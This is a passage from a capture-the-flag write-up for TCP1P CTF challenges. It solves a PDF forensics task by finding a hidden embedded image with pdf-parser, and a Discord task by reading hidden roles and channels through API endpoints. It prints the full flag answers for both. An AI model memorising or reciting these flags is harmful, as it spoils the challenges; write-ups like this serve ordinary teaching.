2nd part of the flag Looking closely at the rest of the ouput from pdf-parser, the pdf contains 2 image files in obj 10 and obj 11. However, there is only 1 image in the pdf which can be seen by eyes. This invisible image in the pdf might contain the 2nd part of the flag.

└─$ pdf-parser TCP1P-CTF.pdf

...

obj 10 0
 Type: /XObject
 Referencing:
 Contains stream

  <<
    /Filter /FlateDecode
    /Interpolate false
    /Length 12364
    /ColorSpace /DeviceRGB
    /Type /XObject
    /BitsPerComponent 8
    /Height 112
    /Width 646
    /Subtype /Image
  >>


obj 11 0
 Type: /XObject
 Referencing:
 Contains stream

  <<
    /Filter /FlateDecode
    /Interpolate false
    /Length 8066
    /ColorSpace /DeviceRGB
    /Type /XObject
    /BitsPerComponent 8
    /Height 391
    /Width 391
    /Subtype /Image
  >>

...

The simplest way to extract all images embedded inside the pdf is by using online tool. Extract Images from PDF Online for Free (pdfcandy.com)

Indeed we got 2 images, in which the 1st image contains the 2nd part of the flag.

FLAG: TCP1P{D01n9_F023n51C5_0N_pdf_f1L35_15_345y_15N7_17_l3jaf9ci293m1d}

Misc

Another Discord

(29 Solves, 100 Points) https://discord.gg/kzrryCUutP

The 1st part of the flag can be found in the Voice Channel Message

Part 1: TCP1P{d15c0RD_

The 3rd part of the flag can be found in the Events

Part 3: 45_r341ly

The 2nd and 4th part of the flag can be found in hidden roles and hidden channels respectively, using API call

/api/v9/guilds/1154468492259627008/roles
/api/v9/guilds/1154468492259627008/channels

Part 2: d0cUM3n74710n_W

Part 4: H31pFu1}

FLAG: TCP1P{d15c0RD_d0cUM3n74710n_W45_r341ly_H31pFu1}